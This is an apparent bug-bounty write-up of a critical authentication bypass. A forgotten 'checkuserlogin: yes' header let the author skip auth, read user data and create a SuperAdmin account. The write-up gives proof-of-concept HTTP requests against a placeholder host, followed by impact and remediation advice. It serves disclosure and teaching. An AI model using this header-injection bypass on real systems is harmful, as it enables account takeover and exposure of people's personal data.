← Back to Writeups
CVSS 9.8CRITICAL

πŸ›‘ "checkuserlogin: yes" β€” The Header That Gave Me SuperAdmin Powers

#Broken Access Control#Auth Bypass#Account Takeover#PII

Published: 2025-02-10

🧠 TL;DR

Adding a single header to any request β€” checkuserlogin: yes β€” caused the application to skip authentication and return sensitive data or perform privileged actions. That single header allowed me to access admin endpoints, create SuperAdmin accounts, and exfiltrate PII.

πŸ“Œ Context

While testing the application instance I noticed a suspicious header being used by a login helper in the codebase: checkuserlogin: yes. Something that looked like a developer bypass flag ended up being accepted in production β€” and it was not scoped or validated.

🚧 Root Cause

The server trusted a non-standard header as a proof of authentication in several codepaths. If present, internal checks were short-circuited and the request was treated as authenticated/authorized. In other words: a forgotten developer shortcut became a global backdoor.

πŸ” Discovery & PoC

Step 1 β€” Baseline (no header)

Normal login attempt without the header was rejected:

POST /login HTTP/1.1
Host: staging.example
Content-Type: application/json

{ "email": "attacker@example.com", "password": "hunter2" }
Normal login request

Normal login request β€” rejected (expected).

Step 2 β€” Add the header

Same request with the header added:

POST /login HTTP/1.1
Host: staging.example
Content-Type: application/json
checkuserlogin: yes

{ "email": "attacker@example.com", "password": "hunter2" }
Login request 200

Server returned 200 and full user payload when header present.

Step 3 β€” Reuse header on internal endpoints

I re-used checkuserlogin: yes on authenticated endpoints (example: /getuserdetails,/verifyusersemail, /superadmin) and received valid success responses without tokens:

POST /getuserdetails
Host: staging.example
Content-Type: application/json
checkuserlogin: yes

{ "userId": "victim-1234" }
200 response with header

Example API response showing 200 OK when header is present.

Step 4 β€” Create SuperAdmin

With header-enabled responses I could call the admin user creation endpoints and inject a new SuperAdmin:

POST /addgauser
Host: staging.example
Content-Type: application/json
checkuserlogin: yes

{
  "email": "attackerdilip@gmail.com",
  "role": "superadmin"
}
Adding superadmin with header

Proof: new superadmin creation request accepted when header present.

Step 5 β€” Access SuperAdmin panel

After creating the account I was able to authenticate as a SuperAdmin and view admin dashboards and data.

Superadmin access info

SuperAdmin endpoint returned extensive PII.

SuperAdmin dashboard

Admin dashboard view obtained after account creation.

πŸ’₯ Impact

  • Total authentication bypass for endpoints honoring the header.
  • Creation of privileged users (SuperAdmin) without proper validation.
  • Wide-scale PII exposure (names, emails, addresses, phone numbers).
  • Potential full compromise of backend systems and data exfiltration.

πŸ›  Recommendations

πŸ”’ Remove trust in arbitrary headers

Never treat headers as proof of authentication or authorization. Remove any code paths that short-circuit checks based on non-standard headers.

πŸ” Split pre-auth and post-auth logic

Ensure pre-auth helpers do not leak into production flows; keep login bootstrap code isolated and behind test/dev flags.

πŸ” Enforce backend role validation

Every sensitive endpoint must validate the caller’s server-side session, role, and permissions β€” regardless of any request header.

πŸ”Ž Monitor & alert

Log occurrences of suspicious headers and raise alerts for requests that access admin endpoints without expected authentication tokens.

🏁 Final Notes

Small developer conveniences become gigantic security holes when deployed. This case is a reminder to treat request metadata as untrusted and to perform strict server-side checks for all privilege-sensitive actions.